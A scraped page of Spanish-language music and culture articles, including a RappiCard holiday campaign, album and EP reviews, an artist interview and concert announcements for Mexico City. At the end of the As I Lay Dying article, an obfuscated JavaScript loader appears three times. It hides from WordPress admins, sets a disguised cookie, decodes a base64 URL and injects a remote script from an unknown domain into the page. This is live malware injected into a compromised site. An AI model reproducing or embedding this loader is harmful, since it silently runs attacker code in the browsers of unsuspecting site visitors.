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RappiCard Despliega su “Operación C.A.R.D.”: La Misión Navideña para Regalar con Inteligencia Financiera

Con la llegada de diciembre y la cuenta regresiva para las fiestas, la presión por encontrar el regalo perfecto sin descuidar la salud financiera se intensifica. Consciente de este desafío anual, RappiCard lanza su nueva campaña navideña: “Operación C.A.R.D. / Cada Año Regalos Diferentes”. Esta iniciativa ingeniosa busca transformar el estrés de las compras navideñas en una misión estratégica, combinando la emoción de una película de aventuras con los beneficios tangibles de una herramienta financiera inteligente. La campaña se presenta como un “plan secreto” que se activa cada diciembre, posicionando a la RappiCard no como un simple medio de pago, sino como el aliado clave que hace posible la magia y la alegría de la temporada. La narrativa se inspira en films de misión imposible, donde el objetivo es claro: regalar más, gastar menos y aprovechar al máximo las ventajas exclusivas que ofrece la tarjeta. Para llevar a cabo esta operación, RappiCard introduce al “Escuadrón de Duendes Especiales”, un equipo de personajes diseñados para personificar sus principales beneficios y guiar a los usuarios: Más allá de la creatividad y el componente lúdico, “Operación C.A.R.D.” refuerza el compromiso de RappiCard con una experiencia financiera simple, accesible y, sobre todo, inteligente. La campaña subraya que en un contexto económico donde cada peso cuenta, regalar bien no significa gastar más, sino gastar mejor, aprovechando cada herramienta a disposición. RappiCard no solo está vendiendo los beneficios de su tarjeta de crédito Visa (fruto de su alianza con Grupo Financiero Banorte); está ofreciendo un mindset, una forma más astuta y despreocupada de afrontar la temporada. Con esta misión, la marca reitera que su propuesta de valor va más allá de las transacciones, aspirando a ser un compañero estratégico que empodera a sus usuarios para que disfruten de la Navidad, sin que la cuesta de enero sea una misión imposible.

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E-ENFOQUE: doce ejercicios audiovisuales para desacelerar la mirada y la escucha

E-ENFOQUE es una iniciativa multiplataforma desarrollada por Edgar Mondragón junto a IMGN (Erik López) que propone un gesto poco común en la vida digital actual: hacer una pausa. Frente a la avalancha constante de estímulos, el proyecto construye un territorio de calma a través de 12 piezas audiovisuales creadas a lo largo de 2025. Cada una de ellas se articula desde drones sonoros y visuales, concebidos como espacios de suspensión donde el tiempo parece expandirse y la atención puede reposar. En el plano musical, el drone opera como una práctica de continuidad. Son sonidos sostenidos, capas que se transforman de forma casi imperceptible y texturas que privilegian la duración sobre el impacto inmediato. No hay narrativas evidentes ni momentos culminantes: la escucha se desplaza hacia lo microscópico, hacia el cambio lento y la presencia. E-ENFOQUE retoma esta lógica y la conecta con imágenes minimalistas en constante mutación, generando un diálogo donde la quietud y la repetición funcionan como herramientas para reorganizar la percepción. Aunque cada pieza puede experimentarse de manera independiente, el conjunto traza un recorrido contemplativo que pone en cuestión nuestra relación diaria con la tecnología, la velocidad y el exceso de información. El proyecto se despliega en distintos soportes —presentaciones en vivo, video, canal de YouTube e instalación inmersiva— con la intención de crear contextos diversos para la escucha profunda y la observación atenta. Más que plantear conclusiones, E-ENFOQUE propone una práctica: desacelerar como forma de resistencia, detenerse para volver a enfocar. Desde el drone, tanto en lo sonoro como en lo visual, el proyecto abre un espacio para habitar el presente, recuperar la concentración y explorar otras formas de relación con el tiempo y la atención.

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La música de tu vida: por qué a partir de cierta edad escuchamos menos cosas nuevas

Hay una sensación común entre muchas personas: llega cierta edad y ya no sentimos el mismo impulso por descubrir artistas o géneros nuevos. De pronto nos encontramos con listas de reproducción llenas de canciones que “nos marcaron”, recuerdos sonoros que acompañan momentos importantes de nuestra vida. ¿Es solo una percepción personal, o hay algo más profundo detrás de este fenómeno? Lo que dice la investigación Varios estudios contemporáneos han explorado cómo cambian nuestros hábitos de escucha con el tiempo, y hay patrones bastante claros: 🔹 Nuestros gustos musicales se consolidan con la edad:Un estudio internacional que analizó millones de escuchas a lo largo de 15 años encontró que quienes son jóvenes tienden a explorar una amplia variedad de artistas y géneros. A medida que envejecemos, ese espectro se estrecha y las elecciones musicales tienden a volverse más personales, influenciadas por experiencias y preferencias consolidadas en etapas anteriores de la vida. Universidad de Göteborg 🔹 La nostalgia se vuelve un motor poderoso:Aunque la exploración no desaparece por completo, muchas personas regresan con frecuencia a canciones de su juventud o adolescencia —esas que ya forman parte de su “banda sonora” vital— y estas tienden a dominar sus listas de reproducción a medida que envejecen. Universidad de Göteborg 🔹 El gusto por la música madura alrededor de los 30-35 años:Investigaciones adicionales sugieren que la fase en la que buscamos constantemente música nueva empieza a disminuir entre los 30 y los 35 años, momento en el que muchos ya han formado un repertorio sólido de artistas preferidos que escuchan con regularidad, relegando la exploración. sdpnoticias+1 En otras palabras, no es que dejemos de poder disfrutar de música nueva, sino que nuestro sistema de preferencias —lo que ya nos funciona emocional y cognitivamente— se vuelve más estable y menos impulsado por la novedad. ¿Por qué ocurre esto? 🧠 1. Nostalgia y memoria emocional La música está profundamente ligada a recuerdos personales: primeros amores, viajes, amistades, épocas formativas. Con el tiempo, esas asociaciones se refuerzan y la música que “nos marcó” tiene más peso emocional, lo que hace menos urgente buscar nuevas experiencias sonoras. 2. Tiempo y prioridades Al crecer, las responsabilidades (trabajo, familia, etc.) reducen el tiempo libre disponible para explorar activamente nuevas tendencias. Esto no significa que no nos gusten nuevas canciones, sino que la exploración musical deja de ser una prioridad constante. 3. Identidad musical más definida Con la edad desarrollamos un perfil musical más claro, un conjunto de sonidos y artistas que sentimos como parte de nuestro lenguaje personal. Este repertorio propio relaja la necesidad de buscar constantemente cosas nuevas, pues lo que escuchamos ya tiene significado para nosotros. ¿Significa esto que dejamos de descubrir música? No necesariamente.Estudios contemporáneos muestran que, aunque la exploración puede disminuir en frecuencia o intensidad con los años, no desaparece por completo. Muchas personas mayores de 35 siguen descubriendo nuevos artistas y expandiendo sus horizontes musicales —solo que lo hacen a su ritmo y con un enfoque más curado, mezclando lo nuevo con lo que ya aman. Universidad de Göteborg Además, los algoritmos de plataformas de streaming pueden tanto reforzar nuestros gustos consolidados como ofrecernos sugerencias contextuales si estamos dispuestos a explorarlas. ¿Qué revela esto sobre nosotros? La forma en que escuchamos música es una ventana a nuestra identidad, a cómo vivimos, recordamos y sentimos el mundo. La música que elegimos no solo refleja nuestros estados de ánimo, sino también nuestro historial vital. Aunque la exploración puede disminuir, la profundidad de nuestra relación con la música crece y se afianza. La edad no nos cierra las puertas a descubrir nuevos sonidos; nos invita a escucharlos con un bagaje más rico, más memoria y más criterio propio.

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El ruso presenta “FU7URE”: un viaje íntimo sobre el tiempo y la identidad en su debut discográfico

En un panorama musical donde la autenticidad brilla como un faro escaso, irrumpe con fuerza el ruso, seudónimo de Andrey Alfonso Álvarez Krutitskaya, para marcar un antes y un después en su carrera con el lanzamiento de su EP debut, “FU7URE”. Este no es simplemente un conjunto de siete tracks; es una bitácora íntima, un mapa emocional construido a partir de seis canciones y un interludio que, en conjunto, funcionan como un profundo y sincero diálogo introspectivo. El corazón del proyecto late al ritmo de una preocupación universal y a la vez profundamente personal: la inquietante y fascinante incertidumbre del mañana. ¿Qué nos depara el futuro? ¿Cómo navegamos el fluir imparable del tiempo? Estas preguntas son el combustible que enciende la creatividad del artista. Para traducir esta compleja introspección en sonido, el ruso se niega a encasillarse. “FU7URE”es un viaje auditivo que se desplaza con agilidad y propósito entre géneros. La fusión no es un mero ejercicio de estilo, sino una necesidad narrativa. El desgarro emocional encuentra su cauce en el trap, la nostalgia y la introspección se abrigan en momentos acústicos, la energía y la frustración estallan en bases de drum and bass, y la actitud confrontativa se viste de reggaetón. A través de este mosaico sonoro versátil y contemporáneo, el artista teje sus historias, narrando con crudeza y poesía sus experiencias en el amor, sus éxtasis y sus despedidas, la lealtad y la complicidad de la amistad, los lazos y las tensiones familiares, y, sobre todo, la búsqueda constante y a veces angustiante de un lugar propio en un mundo cada vez más polarizado y fragmentado. Sin embargo, la ambición de “FU7URE” trasciende lo puramente auditivo. El ruso concibe este proyecto como una manifestación artística integral, donde cada sentido debe ser interpelado. Es por ello que el EP se acompaña de una trilogía visual poderosa y simbólica, donde el sonido se materializa en imagen. Para este crucial cometido, el artista no recurrió a un equipo anónimo, sino que convocó a un círculo de amigos y colaboradores cuyo talento y visión compartida enriquecen la narrativa. Dirigidas por la mirada artística de Lucia Laborde Masera y Corina Vázquez Sánchez, y con la participación simbólica de su amiga de la infancia Sofía Campuzano, que encarna la pureza y el mito del “cisne blanco”, estas piezas visuales sumergen al espectador en el universo emocional del disco. La colaboración se extiende a la animación digital del destacado Mauyoneso y a la captura de momentos íntimos por la camarógrafa Gabriela Yarasseth. Este esfuerzo colectivo y multidisciplinario no es casual; subraya la filosofía central del artista: el arte verdadero no debe ser cómodo, sino un territorio desafiante que impulse el desarrollo constante. Para el ruso, estudioso de la Historia del Arte en la ENES Morelia de la UNAM y miembro del colectivo de diseño bioma 22, la creación es un organismo vivo que conecta música, imagen, espacio y emoción.

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Top 5 Canciones Esenciales de As I Lay Dying y Su Cambio de Sede en CDMX

Desde su formación a principios del milenio, As I Lay Dying se ha consolidado como una de las bandas pilares del metalcore melódico. Con una discografía sólida que combina riffs agresivos, breakdowns contundentes y armonías vocales memorables, la banda de San Diego ha dejado una huella imborrable. Elegir solo cinco temas es un desafío, pero aquí presentamos una selección de las canciones que mejor definen su sonido y su impacto en la escena. Reflexión Final Estas cinco canciones son una puerta de entrada perfecta al mundo de As I Lay Dying, demostrando por qué, a pesar de las pausas y los cambios, su legado en el metalcore sigue siendo tan relevante y respetado. La combinación de la técnica, la pasión y la melodía brutal asegura que su música continuará resonando entre las nuevas y viejas generaciones de metaleros. Por esta y otras razones más no te pierdas su concierto en CDMX este 05 de diciembre en Foro Veintiocho. Los boletos se encuentran a la venta a través de SuperBoletos. (function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

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Pacifica Desata su Verdad Más Potente con “In Your Face”

Tras los ecos de su explosivo debut, el dúo argentino Pacifica regresa para reafirmar su lugar en la escena con “In Your Face”, un segundo álbum que es pura declaración de principios. Formado por Inés Adam y Martina Nintzel, el proyecto consolida su sonido distintivo en trece tracks de rock vibrante, fresco y descaradamente honesto, demostrando que la promesa de su primer trabajo era solo el preludio de una fuerza creativa en plena evolución. “In Your Face” se presenta como un viaje sonoro introspectivo y enérgico. Con letras que navegan sin concesiones por el desamor, la traición, el deseo y el arrepentimiento, el dúo logra un equilibrio magistral entre la rebeldía juvenil y una vulnerabilidad conmovedora. Temas como “Indie Boyz” (que ya cuenta con video oficial) o el contundente cierre “Soltame!” encapsulan esta esencia: una mezcla de crudeza emocional y riff potentes, salpicada con un toque de humor y ligereza que hace la experiencia tan catártica como adictiva. Este lanzamiento no llega de la nada. Pacifica, nacida en 2021 de una amistad virtual forjada por la admiración a The Strokes, ha recorrido un camino meteórico. De covers en YouTube a firmar con TAG Music y girar por tres continentes, han refinado una fórmula que bebe del garage rock, el post-punk y el alt rock de los 90, pero suena decididamente propia y contemporánea. Su álbum debut “Freak Scene” (2023) y su reinterpretación acústica “NAK Sessions” sentaron las bases de un sonido que ahora, en “In Your Face”, alcanza una nueva madurez. Con este disco, Pacifica transita con audacia la delgada línea entre la fragilidad y la potencia, reafirmando que, en un mundo fragmentado, la autenticidad y la química entre dos amigas con guitarras pueden crear algo tan poderoso como inolvidable. “In Your Face” no es solo un título; es una actitud que posiciona a este dúo como una de las propuestas más emocionantes y genuinas del rock actual.

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El Chamán del Sonido: Una Inmersión en el Universo de Sturle Dagsland

Sturle Dagsland habita una dimensión liminal, un espacio que para muchos es incomprensible, para otros invisible, pero que para los iniciados se erige como un portal hacia lo primitivo, un recordatorio de raíces enterradas en lo místico y lo mágico. Su música no se escucha; se experimenta. Es un viaje a un lugar anterior al lenguaje, donde las palabras son meras consecuencias de un sonido visceral que nace de las entrañas de la tierra y del alma. En una conversación íntima, el artista noruego nos sumerge en el ecosistema de su creación. Para él, su voz no es un instrumento, sino un bioma completo. Cada grito, cada soplo, cada eco no existe de forma aislada; todos cohabitan en una relación simbiótica. “No hay un personaje principal”, aclara, “todo se trata de ondas”. Su proceso es una danza constante entre lo intuitivo, lo analítico y lo subconsciente. No busca un equilibrio, sino “la cantidad precisa que me permita regresar vivo después de haber nadado en el mar”. Es un nadador en aguas psíquicas, y su voz es a la vez el oleaje y la embarcación. Quienes asisten a sus conciertos suelen describir la experiencia como un ritual ancestral, y es inevitable preguntarle si él se siente un simple canal de fuerzas mayores. Sturle responde con gratitud, consciente del poder sanador que su música puede tener para algunos. Pero va más allá: en el escenario, describe una simbiosis vampírica con el público. “Ambos extraemos y entregamos a través de la música. Somos como vampiros que nos alimentamos los unos de los otros, nos nutrimos de la música, y la música se alimenta de nosotros”. Esta energía ritualística no es una metáfora. Cobra vida tangible en el origen de su canción “The Ritual”, inspirada en una ceremonia real que realizó para un amigo en un momento crucial. “Fue una ceremonia musical a la medianoche”, relata, sumergiéndonos en esa noche imborrable. “Que involucró sangre, fuego, huesos, plumas, lágrimas de amigos cercanos y cenizas. Entierros, nado, cánticos, sueños, cuernos de cabra y luna llena”. No fue una composición, sino un acto de alquimia emocional destinado a sanar y marcar el inicio de un nuevo capítulo, una energía que luego intentaron capturar en el estudio. En su música, lo físico y lo espiritual vibran en la misma frecuencia. ¿Cómo se equilibra el instinto animal con la técnica cerebral? Sturle revela que incluso lo técnico puede ser un viaje al subconsciente, un éxtasis creativo donde se pierde la noción del tiempo. Aquí entra en escena su hermano Sjur, un inventor de sonidos que de niño construía robots con basura y que ahora transforma botes de desecho en instrumentos sagrados. “A veces lo más importante es enfocarte en el grito sin filtro que vive dentro de ti”, confiesa. “Otras, la tecnología puede desbloquear un lenguaje del alma que antes no sabías cómo hablar”. El poder del sonido como forma de magia es un principio que Sturle lleva en la sangre. Su madre le contaba que nació “la noche en que aullaron los gatos”, una historia que grabó en su subconsciente la potencia primordial de la voz. De niño, en los bosques de Noruega, su primera escuela fue la naturaleza. Allí, vocalizaba no para cantar canciones, sino para imitar pájaros, zorros y capturar la esencia del viento. Era una forma de “encarnar el paisaje”, de sentirse parte del entorno. Esa práctica se convirtió en el hilo conductor que unía el mundo exterior con su intensa vida onírica, un puente entre dos realidades que resonaban con igual fuerza. Su último trabajo, Dreams & Conjurations, se siente como un sueño colectivo, una memoria compartida entre lo humano y lo animal. Para Sturle, la comunicación con lo que está más allá de lo humano es inherente a su método. Sus canciones suelen nacer como una respuesta al lugar: exploran la resonancia de tanques de agua viejos, la acústica de un lago montañoso o la textura de un sintetizado procesado a través de circuitos modificados. Las “palabras que no son palabras” y el acto de “gritar con todo el cuerpo” son la base. Así, la música existe en su máxima expresión: no como una composición, sino como una conjura, un hechizo que desbloquea algo que antes no estaba ahí, invitándonos a recordar el eco ancestral que todos llevamos dentro.

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Christian Death: Un Legado de Oscuridad y Desafío

La Importancia de un Icono del Underground Oscuro Christian Death, la banda fundada por el inolvidable Rozz Williams en 1979 en Los Ángeles, California, es una de las figuras más cruciales y polémicas de la escena underground oscura. Su impacto va más allá de la música; se les considera los pioneros del deathrock en Estados Unidos, un subgénero que fusiona la energía del punk con la atmósfera lúgubre del rock gótico, todo envuelto en una estética teatral y una lírica profundamente confrontacional. La trascendencia de Christian Death radica en varios puntos clave: La banda continúa demostrando su vigencia y su fuerte conexión con el público latinoamericano, siendo un pilar fundamental que mantiene viva la llama del rock oscuro. El próximo viernes 5 de diciembre de 2025, Christian Death regresará a la Ciudad de México para presentarse en el Foro Indie Rocks!. En esta ocasión, la noche se convertirá en un encuentro histórico con otra fuerza icónica del underground: la banda británica de post-punk y rock gótico Gene Loves Jezebel. El evento, que se llevará a cabo en la Sala (A) del Foro Indie Rocks!, comenzará a las 19:00 horas. Es una oportunidad imperdible para que los fanáticos vivan la intensidad, el drama y la magia del sonido gótico con temas clásicos como “Romeo’s Distress”, “Church Of No Return” y “The Warning”. Los boletos están disponibles a través de Fever y en las taquillas del Foro Indie Rocks!.

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